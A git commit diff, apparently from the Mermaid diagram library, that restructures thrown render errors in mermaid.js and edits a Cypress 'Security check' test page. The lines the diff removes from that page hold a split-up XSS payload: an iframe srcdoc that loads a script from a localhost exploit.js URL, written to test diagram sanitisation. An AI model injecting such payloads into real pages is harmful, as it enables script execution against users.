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#3313 Packaging the thrown error in reconised structure

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This commit is contained in:
Knut Sveidqvist
2022-08-11 18:24:14 +02:00
parent 48fe013c83
commit bf4272102d
3 changed files with 28 additions and 50 deletions
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44
cypress/platform/knsv2.html
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@@ -41,7 +41,10 @@
<body> <body>
<div>Security check</div> <div>Security check</div>
<div class="flex"> <div class="flex">
<div id="diagram" class="mermaid"></div> <div id="diagram" class="mermaid">
sequenceDiagram
Nothing:Valid;
</div>
<div id="res" class=""></div> <div id="res" class=""></div>
<script src="./mermaid.js"></script> <script src="./mermaid.js"></script>
<script> <script>
@@ -49,28 +52,6 @@
// console.error('Mermaid error: ', err); // console.error('Mermaid error: ', err);
}; };
mermaid.initialize({ mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-wrapper',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: false,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'strict',
startOnLoad: false, startOnLoad: false,
// themeVariables: {relationLabelColor: 'red'} // themeVariables: {relationLabelColor: 'red'}
}); });
@@ -78,19 +59,12 @@
alert('It worked'); alert('It worked');
} }
var diagram = '%%{init: {"flowchart": {"htmlLabels": "false"}} }%%\n';
diagram += 'flowchart\n';
diagram += 'A["<ifra';
diagram += "me srcdoc='<scrip";
diagram += 't src=http://localhost:9000/exploit.js>';
diagram += '</scr';
diagram += 'ipt>\'></iframe>"]';
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram; // document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => { try {
document.querySelector('#res').innerHTML = res; mermaid.initThrowsErrors(undefined, '#diagram');
}); } catch (err) {
console.log('Caught error:', err);
}
</script> </script>
</body> </body>
</html> </html>

32
src/mermaid.js
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@@ -34,7 +34,7 @@ const init = function () {
initThrowsErrors(...arguments); initThrowsErrors(...arguments);
} catch (e) { } catch (e) {
log.warn('Syntax Error rendering'); log.warn('Syntax Error rendering');
log.warn(e); log.warn(e.str);
if (this.parseError) { if (this.parseError) {
this.parseError(e); this.parseError(e);
} }
@@ -120,19 +120,23 @@ const initThrowsErrors = function () {
if (init) { if (init) {
log.debug('Detected early reinit: ', init); log.debug('Detected early reinit: ', init);
} }
try {
mermaidAPI.render( mermaidAPI.render(
id, id,
txt, txt,
(svgCode, bindFunctions) => { (svgCode, bindFunctions) => {
element.innerHTML = svgCode; element.innerHTML = svgCode;
if (typeof callback !== 'undefined') { if (typeof callback !== 'undefined') {
callback(id); callback(id);
} }
if (bindFunctions) bindFunctions(element); if (bindFunctions) bindFunctions(element);
}, },
element element
); );
} catch (error) {
log.warn('Catching Error (bootstrap)');
throw { error, message: error.str };
}
} }
}; };

2
src/mermaidAPI.js
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@@ -250,7 +250,7 @@ const render = function (id, _txt, cb, container) {
txt = encodeEntities(txt); txt = encodeEntities(txt);
// Imortant that we do not create the diagram until after the directives have been included // Important that we do not create the diagram until after the directives have been included
const diag = new Diagram(txt); const diag = new Diagram(txt);
// Get the tmp element containing the the svg // Get the tmp element containing the the svg
const element = root.select('#d' + id).node(); const element = root.select('#d' + id).node();